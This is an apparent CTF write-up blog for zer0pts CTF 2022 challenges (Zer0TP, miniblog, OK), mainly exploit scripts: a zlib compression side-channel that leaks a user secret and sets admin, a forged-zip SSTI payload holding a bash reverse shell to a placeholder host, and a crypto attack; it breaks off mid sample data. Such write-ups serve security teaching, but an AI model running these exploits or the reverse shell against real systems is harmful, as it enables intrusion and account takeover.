Flag Checker
https://blog.cirn09.xyz/2022/03/23/flag-checker/
Zer0TP
Every time we register a new username, a secret is generated, and we need to guess out the secret by some side channel attack. Notice that we can rename , so the username is one side channel attacking parameter.
Basically, we are presented with a following challenge:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
import os
import base64
import zlib
import hashlib
def func(fld_id, username, secret):
assert 4 <= len(username) < 50
token = zlib.compress(username + secret)[:8]
return hashlib.md5(fld_id.encode() + token).hexdigest()
class Chal(object):
def __init__(self):
self.secret = base64.b64encode(os.urandom(12))
def sample(self, prefix):
fld_id = os.urandom(8).hex()
username = prefix
secret = self.secret
return fld_id, func(fld_id, username, secret)
|
The crucial part is to craft the username field so that zlib.compress(username + secret)[:8] can be used to leak the info of secret.
By trial and error we can find out that if our username is long enough and has enough entropy, secret will not affect the compression result. We can shrink username char by char and finally we reach a critical point where the compression result is only related to the first char of secret. Then we can have the first char of secret.
The second and third char of secret can be yielded with similar methods, only that we may tweak the username a little (by including the deducted secret prefix).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
|
def solve3(chal):
prefix_lib = [b'A'*45, b'AB'*23, b'ABC'*15, b'ABCD' *
11, b'ABCDE'*9, b'ABCDEF'*8, b'ABCDEFG'*7]
solved_secret = b''
last_len = 0
while len(solved_secret) < 16:
#print('current stage', repr(solved_secret))
if len(solved_secret):
prefix_lib = [solved_secret*(45//len(solved_secret))] + prefix_lib
for i in range(1, len(solved_secret)):
prefix_lib.append(solved_secret[:i]*(45//i))
prefix_lib.append(solved_secret[-i:]*(45//i))
prefix_lib.append(solved_secret[:i][::-1]*(45//i))
prefix_lib.append(solved_secret[-i:][::-1]*(45//i))
# for i in alphabet:
# prefix_lib.append(bytes([i]*45))
for i in prefix_lib:
for j in range(len(i), 3, -1):
username = i[:j]
experiments = [zlib.compress(
username + solved_secret + bytes([k]*10))[:8] for k in alphabet]
# print(j, username, len(set(experiments)), sorted(set(experiments)))
if len(set(experiments)) == 64:
good_username = username
break
else:
#raise Exception('wtf')
#print('the prefix is strange', i, 'at best', len(set(experiments)))
continue
observe_id, observe_tok = chal.sample(good_username)
ans = None
for k in alphabet:
if func(observe_id, good_username, solved_secret+bytes([k])) == observe_tok:
ans = k
break
else:
for k in alphabet:
for k2 in alphabet:
if func(observe_id, good_username, solved_secret+bytes([k, k2])) == observe_tok:
ans = k
break
if ans is not None:
break
if ans is not None:
#print('credit', i)
solved_secret = solved_secret + bytes([ans])
break
if len(solved_secret) == last_len:
print('stuck at', repr(solved_secret))
break
last_len = len(solved_secret)
return solved_secret
|
The solver naturally entails. However, this solver can only solve the first 3 chars.
And then here comes the hard part. After 4 chars the prefix is long enough that with a username having a minimum length of 4, the later secret[4:] does not easily affect the compression result.
It is now that we learn from zlib RFC documentation along with experimenting!
1
2
3
4
5
6
|
>>> zlib.compress(bytes(range(256))).hex()[:16]
'789c010001fffe00'
>>> zlib.compress(bytes(range(128,256))).hex()[:16]
'789c0180007fff80'
>>> zlib.compress(bytes(range(32,128))).hex()[:16]
'789c535054525651'
|
So let us investigate how zlib works.Based on http://www.zlib.org/rfc-zlib.html :
A zlib stream has the following structure:
0 1
+—+—+
|CMF|FLG| (more–>)
+—+—+
(if FLG.FDICT set)
0 1 2 3
+—+—+—+—+
| DICTID | (more–>)
+—+—+—+—+
The first 2 char (78 9c) is CMF+FLG, and it seems constant. Also FLG.FDICT is not set.Then the next char: http://www.zlib.org/rfc-deflate.html
Each block of compressed data begins with 3 header bits containing the following data:
first bit BFINAL
next 2 bits BTYPE
Note that the header bits do not necessarily begin on a byte boundary, since a block does not necessarily occupy an integral number of bytes.
BFINAL is set if and only if this is the last block of the data set.
BTYPE specifies how the data are compressed, as follows:
00 - no compression
01 - compressed with fixed Huffman codes
10 - compressed with dynamic Huffman codes
11 - reserved (error)
BFINAL is 1; BTYPE seems interesting:
1
2
3
4
|
>>> zlib.compress(bytes(range(256))).hex()[:16]
'789c010001fffe00'
>>> zlib.compress(bytes(range(128,256))).hex()[:16]
'789c0180007fff80'
|
If encrypted data has chars above 0x80 and has no repeated sequences, BTYPE will be 00 so it is “no compression”; however in other case:
1
2
|
>>> zlib.compress(bytes(range(32,128))).hex()[:16]
'789c535054525651'
|
BTYPE is 10 in this case.
After some experimenting we found this:
1
2
3
4
5
6
7
8
|
>>> zlib.compress(bytes(range(128,160))+b'abcdefg').hex()[:16]
'789c012700d8ff80'
>>> zlib.compress(bytes(range(128,160))+b'abcdefga').hex()[:16]
'789c012800d7ff80'
>>> zlib.compress(bytes(range(128,160))+b'abcdefgab').hex()[:16]
'789c012900d6ff80'
>>> zlib.compress(bytes(range(128,160))+b'abcdefgabc').hex()[:16]
'789c6b686c6a6e69'
|
So if we have a prefix with 32 chars above 0x80, then if the other part has two same substrings of length 3 (in this case abc), then compression will be done. This provides an oracle for checking whether our input 3 chars are inside the secret string.
This entails the solution to find out the next char.
def solve(chal):
pref3 = solve3(chal)
solved_secret = pref3
big_prefix = bytes([j+i for i in range(16) for j in (0xd0, 0xb0)])
for idx in range(4, 17):
# we solve for char 4
for i in alphabet:
username = big_prefix+((solved_secret+bytes([i]))[-4:])
observe_id, observe_tok = chal.sample(username)
#guessed_tok = func(observe_id, username, solved_secret+bytes([i]))
guessed_tok = func(observe_id, username, bytes(range(65, 65+16)))
if observe_tok != guessed_tok:
solved_secret = solved_secret + bytes([i])
break
else:
break
return solved_secret
Combining the answers and handling IO should be trivial. Here are the final steps:
1、run the crack.py to get the secret of a registered user
2、use the secret to privilege the user, just replace the secret of privilege.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
|
#crack.py
import json
import os, base64
import codecs
import zlib
import hashlib
import requests
def func(fld_id, username, secret):
assert 4 <= len(username) < 50
token = zlib.compress(username + secret)[:8]
return hashlib.md5(fld_id.encode() + token).hexdigest()
class Chal(object):
def __init__(self):
self.secret = base64.b64encode(os.urandom(12))
# print(self.secret)
def sample(self, prefix):
fld_id = os.urandom(8).hex()
username = prefix
secret = self.secret
return fld_id, func(fld_id, username, secret)
alphabet = bytearray(b'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/')
assert len(alphabet) == 64
def solve3(chal):
prefix_lib = [b'A' * 45, b'AB' * 23, b'ABC' * 15, b'ABCD' * 11, b'ABCDE' * 9, b'ABCDEF' * 8, b'ABCDEFG' * 7]
solved_secret = b''
last_len = 0
flag = 0
lastname = ""
while len(solved_secret) < 16:
# print('current stage', repr(solved_secret))
if len(solved_secret):
prefix_lib = [solved_secret * (45 // len(solved_secret))] + prefix_lib
for i in range(1, len(solved_secret)):
prefix_lib.append(solved_secret[:i] * (45 // i))
prefix_lib.append(solved_secret[-i:] * (45 // i))
prefix_lib.append(solved_secret[:i][::-1] * (45 // i))
prefix_lib.append(solved_secret[-i:][::-1] * (45 // i))
# for i in alphabet:
# prefix_lib.append(bytes([i]*45))
for i in prefix_lib:
for j in range(len(i), 3, -1):
username = i[:j]
experiments = [zlib.compress(username + solved_secret + bytes([k] * 10))[:8] for k in alphabet]
# print(j, username, len(set(experiments)), sorted(set(experiments)))
if len(set(experiments)) == 64:
good_username = username
break
else:
# raise Exception('wtf')
# print('the prefix is strange', i, 'at best', len(set(experiments)))
continue
# observe_id, observe_tok = chal.sample(good_username)
if flag == 0:
flag, observe_id, observe_tok = registerAndLogin(good_username, flag)
else:
observe_id, observe_tok = rename(lastname, good_username)
lastname = good_username
# print(observe_id, observe_tok, good_username)
ans = None
for k in alphabet:
if func(observe_id, good_username, solved_secret + bytes([k])) == observe_tok:
ans = k
break
else:
for k in alphabet:
for k2 in alphabet:
if func(observe_id, good_username, solved_secret + bytes([k, k2])) == observe_tok:
ans = k
break
if ans is not None:
break
if ans is not None:
# print('credit', i)
solved_secret = solved_secret + bytes([ans])
break
if len(solved_secret) == last_len:
print('stuck at', repr(solved_secret))
break
last_len = len(solved_secret)
return solved_secret, lastname
def registerAndLogin(username, flag):
register_url = "http://zer0tp.ctf.zer0pts.com:8080/api/register"
login_url = "http://zer0tp.ctf.zer0pts.com:8080/api/login"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36", "Origin": "http://festival.ctf.zer0pts.com:8017", "Referer": "http://festival.ctf.zer0pts.com:8017/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en-GB;q=0.8,en;q=0.7", "Connection": "close"}
params = {"username": (None, username), "password": (None, "aaaaaaaaaa")}
res = requests.post(register_url, headers=burp0_headers, files=params).text
params = {"username": (None, username), "password": (None, "aaaaaaaaaa")}
login_res = requests.post(login_url, headers=burp0_headers, files=params).text
result = json.loads(login_res)
# print(result)
return flag+1, result["id"], result["token"]
def rename(original, username):
try:
rename_url = "http://zer0tp.ctf.zer0pts.com:8080/api/rename"
login_url = "http://zer0tp.ctf.zer0pts.com:8080/api/login"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36", "Origin": "http://festival.ctf.zer0pts.com:8017", "Referer": "http://festival.ctf.zer0pts.com:8017/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en-GB;q=0.8,en;q=0.7", "Connection": "close"}
params = {"username": (None, original), "new_username": (None, username),"password": (None, "aaaaaaaaaa"),"new_password": (None, "aaaaaaaaaa")}
res = requests.post(rename_url, headers=burp0_headers, files=params).text
print(res)
params = {"username": (None, username), "password": (None, "aaaaaaaaaa")}
login_res = requests.post(login_url, headers=burp0_headers, files=params)
# print(login_res)
result = json.loads(login_res.text)
if result["result"] == "error":
return rename(original, username)
elif login_res.status_code == 502:
return rename(original, username)
elif result["result"] == "OK":
return result["id"], result["token"]
except Exception as e:
return rename(original, username)
pass
def solve(chal):
pref3, lastname = solve3(chal)
solved_secret = pref3
big_prefix = bytes([j + i for i in range(16) for j in (0xd0, 0xb0)])
for idx in range(3, 16):
# we solve for char 4
flag = 0
# lastname = ""
for i in alphabet:
username = big_prefix + ((solved_secret + bytes([i]))[-4:])
# observe_id, observe_tok = chal.sample(username)
print("[+]new name:", username)
observe_id, observe_tok = rename(lastname, username)
lastname = username
# print(observe_id, observe_tok)
# guessed_tok = func(observe_id, username, solved_secret+bytes([i]))
guessed_tok = func(observe_id, username, bytes(range(65, 65 + 16)))
if observe_tok != guessed_tok:
solved_secret = solved_secret + bytes([i])
break
else:
break
return solved_secret
chal = Chal()
print(chal.secret)
print(solve(chal))
"""
print(chal.sample(b'aaa'))
print(chal.sample(b'aaa'))
print(chal.sample(b'aaa'))
"""
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
|
#privilege.py
import requests
import json
import zlib
import hashlib
login_url = "http://zer0tp.ctf.zer0pts.com:8080/api/login"
set_url = "http://zer0tp.ctf.zer0pts.com:8080/api/set_admin"
admin_url = "http://zer0tp.ctf.zer0pts.com:8080/api/is_admin"
token_url = "http://demoapp.ctf.zer0pts.com:8077/login"
rename_url = "http://zer0tp.ctf.zer0pts.com:8080/api/rename"
def rename(original, username):
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36", "Origin": "http://festival.ctf.zer0pts.com:8017", "Referer": "http://festival.ctf.zer0pts.com:8017/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en-GB;q=0.8,en;q=0.7", "Connection": "close"}
params = {"username": (None, original), "new_username": (None, username),"password": (None, "aaaaaaaaaa"),"new_password": (None, "aaaaaaaaaa")}
res = requests.post(rename_url, headers=burp0_headers, files=params).text
params = {"username": (None, username), "password": (None, "aaaaaaaaaa")}
login_res = requests.post(login_url, headers=burp0_headers, files=params).text
print(login_res)
try:
result = json.loads(login_res)
if result != None:
return result["id"], result["token"]
print(login_res)
except Exception as e:
print(login_res)
def send(guess):
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36", "Origin": "http://festival.ctf.zer0pts.com:8017", "Referer": "http://festival.ctf.zer0pts.com:8017/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en-GB;q=0.8,en;q=0.7", "Connection": "close"}
params = {"username": (None, guess), "password": (None, "aaaaaaaaaa")}
rec = requests.post(login_url, headers=burp0_headers, files=params, proxies={"http":"http://localhost:8080"})
print(rec.text)
def set_admin(username, secret):
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36", "Origin": "http://festival.ctf.zer0pts.com:8017", "Referer": "http://festival.ctf.zer0pts.com:8017/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en-GB;q=0.8,en;q=0.7", "Connection": "close"}
params = {"username": (None, username), "secret": (None, secret), "admin": (None, "1")}
rec = requests.post(set_url, headers=burp0_headers, files=params)
print(rec.text)
def loginASadmin(username, id, token):
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36", "Origin": "http://festival.ctf.zer0pts.com:8017", "Referer": "http://festival.ctf.zer0pts.com:8017/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en-GB;q=0.8,en;q=0.7", "Connection": "close"}
params = {"username": (None, username), "id": (None, id), "token": (None, token)}
rec = requests.post(token_url, headers=burp0_headers, files=params, proxies={"http":"http://localhost:8080"})
print(rec.text)
if __name__ == '__main__':
username = b'\xd0\xb0\xd1\xb1\xd2\xb2\xd3\xb3\xd4\xb4\xd5\xb5\xd6\xb6\xd7\xb7\xd8\xb8\xd9\xb9\xda\xba\xdb\xbb\xdc\xbc\xdd\xbd\xde\xbe\xdf\xbflozz'
newusername = "hpdoger"
secret = "v5COD1iRPu3Elozz"
req_id = "ab70ec559f2f82b9"
send(username)
rename(username, newusername)
set_admin("hpdoger", secret)
token = zlib.compress(newusername.encode() + secret.encode())[:8]
# print(token.decode())
req_token = hashlib.md5(req_id.encode() + token).hexdigest()
loginASadmin(newusername, req_id, req_token)
|
miniblog#
After reading the source code of python’s zipfile, I noticed zipfile will try to find zip archives’ End of central directory record in the first. Then it will try to parse zip archive based on the information it previously found in the End of central directory record. This parsing method makes zipfile have the ability to extract zip archive, even if there is redundant data before or after the actual data.
Now look at the source code of exporting posts. Be aware the username is controllable by us.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
def export_posts(self, username, passhash):
"""Export all blog posts with encryption and signature"""
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'a', zipfile.ZIP_DEFLATED) as z:
# Archive blog posts
for path in glob.glob(f'{self.workdir}/*.json'):
z.write(path)
# Add signature so that anyone else cannot import this backup
z.comment = f'SIGNATURE:{username}:{passhash}'.encode()
# Encrypt archive so that anyone else cannot read the contents
buf.seek(0)
#iv = os.urandom(16)
#cipher = AES.new(app.encryption_key, AES.MODE_CFB, iv)
#encbuf = iv + cipher.encrypt(buf.read())
return None, base64.b64encode(buf.read()).decode()
|
It means we can insert our zip archive at the comment and zipfile will parse the archive we insert but the original one.
But there have an encoding problem which the username is read as string and UTF-8 will encode unicode code points bigger than 0x7f to multiple bytes.
1
2
3
4
5
6
7
8
9
10
11
12
13
|
@app.route('/api/login', methods=['POST'])
def api_login():
try:
data = json.loads(flask.request.data)
assert isinstance(data['username'], str)
assert isinstance(data['password'], str)
except:
return flask.abort(400, "Invalid request")
flask.session['username'] = data['username']
flask.session['passhash'] = hashlib.md5(data['password'].encode()).hexdigest()
flask.session['workdir'] = os.urandom(16).hex()
return flask.jsonify({'result': 'OK'})
|
Luckily, the problem can be solved if we simply don’t use any byte bigger than 0x7f.
We can “compress” an uncompressed zip by using compresslevel=0 and exhaustive search a payload to make sure its CRC don’t contain any byte bigger than 0x7f.
1
2
3
4
5
6
7
8
9
10
11
12
|
import base64
import importlib
import zipfile
import zlib
import string
import itertools
import sys
f = zipfile.ZipFile('poc.zip', 'w')
f.write('payload.json', 'post/d388238d29d499cdbfb912bb67711c5a/xxx.json', compress_type=zipfile.ZIP_STORED, compresslevel=0)
f.comment = b'SIGNATURE:rmb122:a3dcb4d229de6fde0db5686dee47145d'
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
import base64
import importlib
import zipfile
import zlib
import string
import itertools
import sys
def valid_crc(i: str) -> bool:
x = hex(zlib.crc32(i.encode()))[2:]
x = x.rjust(len(x) + len(x) % 2, '0')
crc = bytes.fromhex(x)
if all([i <= 0x7f for i in crc]):
print(i)
return True
else:
return False
table = string.ascii_letters
payload = '''{"title": "asasdasd", "id": "asasdasd", "date": "2022/03/19 02:44:25", "author": "rmb122", "content": "11111111111111111111111111111111111111111111111111%s {{\\n''.__class__.__mro__[1].__subclasses__()[220](['bash','-c','bash -i >& /dev/tcp/your_ip/19132 0>&1'])\\n}} 11"}'''
curr = ''
for length in range(100):
for s in itertools.combinations_with_replacement(table, length):
tmp = ''.join(s)
if valid_crc(payload % tmp):
sys.exit(0)
|
The remaining bytes bigger than 0x7f can be overridden with 0x00 since they are unnecessary attributes like file create time.
Now we can register another user and use the zip archive we forged as username. After exporting the database from the user who registers with malicious username and importing the database to the original user, the payload is written into the workdir and ready to exploit.
KRCE
https://blog.v1me.cn/2022/03/21/zer0pt%20ctf%202022%20krce%20writeup/ (Chinese)
OK
1
2
3
4
5
6
7
|
v = int(input("v: "))
k1 = pow(v - x1, d, n)
k2 = pow(v - x2, d, n)
print("c1 = {}".format((k1 + key) % n))
print("c2 = {}".format((k2 + ciphertext) % n))
|
We can easily observe that, if we set
$$v \equiv \frac{x_1 + x_2}{2}$$, then $$k_1+k_2\equiv 0$$, so $$c_1+c_2\equiv \text{key} + \text{ciphertext} \equiv \text{key} + (\text{key} \oplus \text{secret})$$, where secret := pow(flag, e, P).
Here we naturally ask the question: if we collect enough $$x + (x \oplus s)$$, can we recover s? The answer seems to be yes. By intuition we can find out, for each digit i, if s[i] is 1, then it only contributes 1 in this digit; otherwise in this digit it can contribute 0 or 2.
This intuition extends naturally for several digits.
1
2
3
4
5
6
7
8
9
10
11
12
|
def calc_distribution(k=4):
# b = x + (x^a)
# first dim: value of a
# second dim: distribution of b
dist = [{} for i in range(1 << k)]
for a in range(1 << k):
for x in range(1 << k):
for c in range(2): # carry
view1 = (x+(x ^ a)+c) & ((1 << k)-1)
dist[a].setdefault(view1, 0)
dist[a][view1] += 1
return dist
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
>>> for i in calc_distribution(4): print(i)
...
{0: 2, 1: 2, 2: 2, 3: 2, 4: 2, 5: 2, 6: 2, 7: 2, 8: 2, 9: 2, 10: 2, 11: 2, 12: 2, 13: 2, 14: 2, 15: 2}
{1: 4, 2: 4, 5: 4, 6: 4, 9: 4, 10: 4, 13: 4, 14: 4}
{2: 4, 3: 4, 4: 4, 5: 4, 10: 4, 11: 4, 12: 4, 13: 4}
{3: 8, 4: 8, 11: 8, 12: 8}
{4: 4, 5: 4, 6: 4, 7: 4, 8: 4, 9: 4, 10: 4, 11: 4}
{5: 8, 6: 8, 9: 8, 10: 8}
{6: 8, 7: 8, 8: 8, 9: 8}
{7: 16, 8: 16}
{8: 2, 9: 2, 10: 2, 11: 2, 12: 2, 13: 2, 14: 2, 15: 2, 0: 2, 1: 2, 2: 2, 3: 2, 4: 2, 5: 2, 6: 2, 7: 2}
{9: 4, 10: 4, 13: 4, 14: 4, 1: 4, 2: 4, 5: 4, 6: 4}
{10: 4, 11: 4, 12: 4, 13: 4, 2: 4, 3: 4, 4: 4, 5: 4}
{11: 8, 12: 8, 3: 8, 4: 8}
{12: 4, 13: 4, 14: 4, 15: 4, 0: 4, 1: 4, 2: 4, 3: 4}
{13: 8, 14: 8, 1: 8, 2: 8}
{14: 8, 15: 8, 0: 8, 1: 8}
{15: 16, 0: 16}
|
By experimenting we find out that, the more “1” digits the s have, the more likely the result is restricted to a small subset of numbers. So for a bit interval, we can count its statistics and easily find out what values of s are impossible to be here - for example, if we see a 14 appear in one of our samples, then this part in s cannot be 15 since 15 in s must entail either 15 or 0 here.
We can expect that as long as we have collected enough $$x + (x \oplus s)$$, we can recover s. However, the case is different in this challenge, where we have $$[x + (x \oplus s)] \text{ mod } N$$. Actually it is no different. We can guess the LSB of s. If we believe that the LSB for s is 0, then we will add N to all samples whose LSB is 1; if we believe that the LSB for s is 1, the same ways around. Therefore, we have divided the problem in this challenge into 2 sub-problems of $$x + (x \oplus s)$$.
Now finally we handle the $$x + (x \oplus s)$$. Here I did not investigate the gory detail of a perfect algorithm, and only used a heuristic way of determining the answer. For each bit of s, I look ahead 12 bits of samples and find the largest number that satisfy all the samples, and I take the LSB of the number to be the corresponding digit of s. The proof of concept is as follows:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
|
import random
random.seed(42)
class Chal(object):
def __init__(self):
self.secret = random.randint(2**32, 2**999)
def sample(self):
N = random.randint(2**1023, 2**1024) | 1
x = random.randint(2**32, N-99999)
return (x+(x ^ self.secret)) % N, N
def calc_distribution(k=4):
# b = x + (x^a)
# first dim: value of a
# second dim: distribution of b
dist = [{} for i in range(1 << k)]
for a in range(1 << k):
for x in range(1 << k):
for c in range(2):
view1 = (x+(x ^ a)+c) & ((1 << k)-1)
dist[a].setdefault(view1, 0)
dist[a][view1] += 1
return dist
NN = 64
KK = 12
dist = calc_distribution(KK)
def slide_window(samples, pos, width):
return set([(i >> pos) & ((1 << width)-1) for i in samples])
def solve(chal):
samples = [chal.sample() for i in range(NN)]
sample1 = [i if i & 1 else i+N for i, N in samples]
sample0 = [i if not i & 1 else i+N for i, N in samples]
return solve_uni(sample0), solve_uni(sample1)
def solve_uni(samples):
guess = 0
step = 1
width = KK
for i in range(1005//step):
window = slide_window(samples, i*step, width)
x = max([i for i in range(len(dist)) if all(j in dist[i]
for j in window)])
guess |= (x & ((1 << step)-1)) << (i*step)
return guess
chal = Chal()
print(hex(chal.secret))
sv = solve(chal)
print(hex(sv[0]))
print(hex(sv[1]))
print(hex(sv[0] ^ chal.secret))
print(hex(sv[1] ^ chal.secret))
|
I am surprised to find out that NN=64 is enough to deduce s without error most of the time; NN=16 even seems to work.
Here is the final exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
|
#!/usr/bin/env python3
from pwn import *
from Crypto.Util.number import inverse, isPrime, long_to_bytes
P = 2 ** 1000 - 1
while not isPrime(P): P -= 2
IP = b"crypto.ctf.zer0pts.com"
PORT = 10333
'''
num = 16
def get_sample(io):
_, n, _, x1, x2 = [int(io.recvline().strip().split(b' = ')[1]) for _ in range(5)]
v = ((x1 + x2) * inverse(2, n)) % n
io.sendlineafter(b"v:", str(v).encode())
c1, c2 = [int(io.recvline().strip().split(b' = ')[1]) for _ in range(2)]
return ((c1 + c2) % n, n)
def collect_samples(num):
samples = []
for _ in range(num):
io = remote(IP, PORT)
samples.append(get_sample(io))
io.close()
return samples
samples = collect_samples(num)
print(samples)
[(53536597532072001987953947618348278754627989400141287390121235069154684901151037785859748979184936316373631831902809146296283677943962597534604255525506249461823500337285379914808964474967526592872056505342589956015812932016802878587968868709680902283391534727308782525444356458981946446499414654860284614520, 81532346990774035744149246687093739233563562488458025862353616811236592929927520013119734668192646961533496238336005840784718084030439712537516379227930454525398092222002748924190455613561037274262352611931228672169210405437515592633513976475385326451752928613223415909527061004459451687447536250438229313069), (66386312979313505149678133618856326319144553867702702385459153922747133031832397726785477639639118882220170181625651486209470420966794432855675760314140012404627473371964709165160895356332613716904862259760517220361299732389620364471023261156059281453710486335747739945414679129863018461429414603001697857446, 85261174871158793253251170096511329507950686012074175900297285932651459506466746833163233092110500260549112493891581801968326642820433154669204159233728445782735602091499081907681369237358292009672666790493125251265942836555505937199247016288696624486907900686233350997519714072921767900692658314341012697759), (82855910653571630421199586924290064641069898105009142491744415247047599925885867039675967433720877808837246893311086073625722335037176224944857408250783926787144552596936522944040355322283616854035345559542320221492782450762163375201132232198068564031292204827087344481753790175496844488214113399995621073845, 175296969798299274968012557170786092368204173509397227075563908445145281198388897932364983269564267700333186289328071508577281037265568594514552605443434849991432746122699895626574443768655211328254129356662362506444040888980557759944656814565739883517030509048164654789764265904377468502220390524717144235377), (67917841804732892981689897447067140250243688025894008707908785067903516730398892671208420467083015889709569161380034225841358061202903976101599885558281852732919925626113564403638386068192561694670751983174125962185889319180209997089150558713993053147437431514377524625946266322586240693521822157166913253252, 88945357251734933212352813578204370187949945474353763777144766387399403591004152716280959974027281030278966278660429855453466282481306531535008696456716849750359105560256589689405438426151043540639002283687324388798663877159884907300822253960925023688296255695337838887696136134077868905004005388733761580373), (9918102878229228388874703456709588349378129769200711367564918198958852463645060076822096286250103595406606762580385796743618856746481962289054262516759351728219898056054817253724902960895874747322046895326594875565470960140720807985078294650630937681577127061805103991591163481821481426681271204599230185380, 82826113536597745438466005687363774762514680698836237724434795687170677475999743373776958888324279961192900092635793403736543957087705717570584175426488425111499259180875471482211050794545424119388095632420668163381967137097789818040239897003474370113845568028535258944393437759425034717567600281696518871953), (38647603252527852986056757841524867125798897767982344531034814112894042422125890184740916374018986718308171159051726360766848509497563357986388009443288662663268816790699597542637089823398187381224886625292002476565982624482518341777098829293273611491271659781482529095516878330486493753850170264157589438416, 138476228446422586892776260074260849572691619458178888868254473908612520961319842298125975058855978296637345917187724904228605323458967308867483788442088221235878971910361103233086723179579222334058587679030246864138858393651841053946357488958447272497502288654198747265098818037897999131898889586542009950937), (12922793948371249596333839961495120188622006030071522465751878338793053410381612720446171918966667244493291904157802808744874379813003419660789753533345449527388070542963892747439687198664780515313515490945084035984866758354437223206582784772935582049082136715363859748337920403307640846903361021833332273246, 85070989668988318423769076350243749988573922135666558027845497016513511561825772224196335654464772069139283864144466116283948223181426411410690126065180704586874374578437305232415505990631813624180673373180769230119586952253097647501637943006674898068390698652697457330445914017080754067381195969202597654983), (51701453524123685823853237186189368497038297467549719028646687238972549222635628300375346182909664168258392686785026606591555924060936676672346368867560301435038900425899745463394600756485508100552827527922944186849834413179778459676140968494956421892026812687339321993763142060591336096874050090911999068980, 97499580437621235504955638537998177847885171111473693129301729724019726521644187005991238134209149047737502657226546329139736509043052126109113900842163120009252934655129552383127561287458225200533709765229189716376647572182692671878024320843749631341196992905049046275148981868487961104620760469703638931489), (63606056396031463747097593535358131813024723886573785223005230849871488541276385046641768753948733395454300850482855956945502304269996451557538283723998735144021373054820713745434677676831159882841293589885728873727593790166950687563427703302352421956683736286610883874569904871870018352042627786917388299036, 108338653083931371897153187094147035434160799810403104262313137502934110697881106000854750513971052821128355676671449777371457425855343449915488021688758234224358850561938249501868133216361775461258227925887527432901207288890232471732957188104262220713360962297927064953781035643825292899945120843589631670301), (61882351593000421073469028566205790661324055525768790116189817078842441754516769353741833078931220847679953006428418186322789756287281510624875607231660308780385681740327424534040370249270052649400732163625677325049975010796407196280403531462149224024265856670664923794235397963894480618288468315379715003470, 157173285756570107035567394879810114583855676263259883686462144635173379207504457425375137887660165209809094378196183223607716498100505448415719652503280182500288623917412333422439070924223028206016178538058867209887547287223819355822568724894475264193868180911244589267762917665209170118610047883715809265243), (18104666867760850446309860325586065982793938536636445550682886250279280490370489197473982640922834049465916688344408877409039725813152420731350562922947830970511215888675435524487080966121102426974997257627731487442056273967049258672906784950284574417578718984715097114739309173203179505890098315062855981657, 72560161702945573305264278661605157695604768546718301219730355394601875967172019497529510492875524283116947485319724522818156001311755873210626008662510363339536254059189610235032697014226792775159218385534173187842551461291551313912334924879273962435090667312489814378126284305604886992451007885865591780893), (53357724543145768207676668187683058033403406759871687094086725379179160441518786386196523812535796962665272643877829554631905985202478863136292737945895675365558138784310577831880661842974697744594435125909840765288412146607409352428426678455043366326279655738194079965352177411281261596026566035674725735721, 